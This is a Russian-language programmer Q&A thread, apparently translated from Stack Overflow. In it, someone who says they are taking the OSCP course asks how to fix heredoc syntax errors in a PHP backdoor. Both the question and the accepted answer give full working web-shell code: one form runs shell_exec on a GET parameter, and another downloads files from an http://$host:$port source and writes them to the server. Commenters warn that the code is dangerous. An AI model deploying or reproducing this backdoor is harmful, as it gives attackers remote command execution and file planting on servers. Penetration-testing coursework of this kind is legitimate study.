Ошибки PHP, когда скрипт возвращает HTML и PHP в одной функции

ПРИМЕЧАНИЕ. Для тех, кто указал на это. Да, код использует небезопасные функции shell_exec с GET. Это сделано намеренно. Сценарий является частью бэкдора PHP, который я использую в рамках курса ПВК.

if ($_GET['cmd']) {
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
 }

Остальная часть скрипта реализует очень простую аутентификацию до того, как будет достигнута эта функция.

У меня есть функция php, которую я хочу использовать для возврата базового представления/формы с двумя полями ввода и поддержкой логики PHP в двух операторах if.

У меня проблема в том, что в текущей форме PHP отображает две ошибки:

  1. syntax error, unexpected '' (T_ENCAPSED_AND_WHITESPACE), expecting '-' or identifier (T_STRING) or variable (T_VARIABLE) or number (T_NUM_STRING) на if ($_POST['upload']).
  2. Unexpected 'Unknown'. для каждой из переменных upload и cmd

Я попытался использовать метод, как показано ниже, но скрипт, похоже, ломается где-то в HTML или в начале PHP, поскольку это также влияет на функции ниже этого.

function displayForm() {
    return <<<HTML
      <html>
        <body>
            <h1>somestuff</h1>
        </body>
      </html>
HTML;
}

Как я могу исправить это, чтобы форма и логика правильно возвращались пользователю?

Полная функция...

function displayForm() {
    return <<<HTML
        <html>
            <body>
                <form action = "" method = "POST" enctype = "multipart/form-data">
                    <input type = "hidden" name = "MAX_FILE_SIZE" value = "1000000">
                    <p> File: <input type = "file" name = "fileToUpload" id = "fileToUpload">
                    <input type = "submit" value = "Upload" name = "upload">
                </form>
                <br><br>
                <form method = "GET">
                    <p>CMD: <input type = "text" name = "command">
                        <input type = "submit" value = "Exec" name = "cmd">
                </form>
                <pre>
                    <?
                        if ($_POST['upload']) {
                            file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
                        }
                        if ($_GET['cmd']) {
                            echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
                        }
                    ?>
                </pre>
        </body>
    </html>
HTML;
}

Я не эксперт по безопасности, но shell_exec($_GET['cmd']) звучит как очень плохая идея. Выполнение чего-либо из клиента приглашает хакеров, особенно переменную get.

user10957435 23.05.2019 20:30

^^^ Не говоря уже file_put_contents($_POST['upload'])

miken32 23.05.2019 20:31

Меня зовут Bobby Tables, и я одобряю этот код.

Andrew Koster 23.05.2019 20:33

@Chipster, это преднамеренно, код является частью бэкдора PHP, который я намереваюсь использовать как часть OSCP. Оставшаяся часть скрипта реализует ОЧЕНЬ простую аутентификацию, чтобы проверить, что к ней обращается правильный пользователь.

3therk1ll 23.05.2019 20:35

@miken32 см. выше

3therk1ll 23.05.2019 20:39

Пока вы знаете, что делаете. Мне все еще кажется ОЧЕНЬ пугающим, особенно учитывая комментарий @miken32. Просто будьте осторожны, это не попадает в производство.

user10957435 23.05.2019 20:48

Только что посмотрел OSCP (с которым я был незнаком), и теперь это имеет гораздо больше смысла.

user10957435 23.05.2019 20:54
Стоит ли изучать PHP в 2026-2027 годах?
Стоит ли изучать PHP в 2026-2027 годах?
Привет всем, сегодня я хочу высказать свои соображения по поводу вопроса, который я уже много раз получал в своем сообществе: "Стоит ли изучать PHP в...
Symfony Station Communiqué - 7 июля 2023 г
Symfony Station Communiqué - 7 июля 2023 г
Это коммюнике первоначально появилось на Symfony Station .
Оживление вашего приложения Laravel: Понимание режима обслуживания
Оживление вашего приложения Laravel: Понимание режима обслуживания
Здравствуйте, разработчики! В сегодняшней статье мы рассмотрим важный аспект управления приложениями, который часто упускается из виду в суете...
Установка и настройка Nginx и PHP на Ubuntu-сервере
Установка и настройка Nginx и PHP на Ubuntu-сервере
В этот раз я сделаю руководство по установке и настройке nginx и php на Ubuntu OS.
Коллекции в Laravel более простым способом
Коллекции в Laravel более простым способом
Привет, читатели, сегодня мы узнаем о коллекциях. В Laravel коллекции - это способ манипулировать массивами и играть с массивами данных. Благодаря...
Как установить PHP на Mac
Как установить PHP на Mac
PHP - это популярный язык программирования, который используется для разработки веб-приложений. Если вы используете Mac и хотите разрабатывать...
1
8
40
1
Перейти к ответу Данный вопрос помечен как решенный

Ответы 1

Ответ принят как подходящий

На самом деле вы не находитесь в режиме HTML, вы определяете строку Heredoc и поэтому не можете входить и выходить из PHP. Есть несколько способов сделать это, вот два. Создайте переменную для вставки в Heredoc:

function displayForm() {

    $extra = '';

    if ($_POST['upload']) {
        $extra .= file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
    }
    if ($_GET['cmd']) {
        $extra .= "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
    }

    echo <<<HTML
        <html>
            <body>
                <form action = "" method = "POST" enctype = "multipart/form-data">
                    <input type = "hidden" name = "MAX_FILE_SIZE" value = "1000000">
                    <p> File: <input type = "file" name = "fileToUpload" id = "fileToUpload">
                    <input type = "submit" value = "Upload" name = "upload">
                </form>
                <br><br>
                <form method = "GET">
                    <p>CMD: <input type = "text" name = "command">
                        <input type = "submit" value = "Exec" name = "cmd">
                </form>
                <pre>
                $extra
                </pre>
        </body>
    </html>
HTML;
}

Или сделайте это там, где хотите:

function displayForm() {
    $output = <<<HTML
        <html>
            <body>
                <form action = "" method = "POST" enctype = "multipart/form-data">
                    <input type = "hidden" name = "MAX_FILE_SIZE" value = "1000000">
                    <p> File: <input type = "file" name = "fileToUpload" id = "fileToUpload">
                    <input type = "submit" value = "Upload" name = "upload">
                </form>
                <br><br>
                <form method = "GET">
                    <p>CMD: <input type = "text" name = "command">
                        <input type = "submit" value = "Exec" name = "cmd">
                </form>
                <pre>
HTML;
                        if ($_POST['upload']) {
                            $output .= file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
                        }
                        if ($_GET['cmd']) {
                            $output .= "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
                        }
    $output .= <<<HTML
                </pre>
        </body>
    </html>
HTML;

    return $output;
}

Обратите внимание, что вы хотите использовать isset или !empty в зависимости от того, что вам здесь нужно:

if (isset($_POST['upload'])) {
//and
if (isset($_GET['cmd'])) {

Кроме того, это не имеет особого смысла, так как file_put_contents возвращает количество байтов, записанных в файл, если только это не то, что вы хотите в своем HTML:

$output .= file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));

Другие вопросы по теме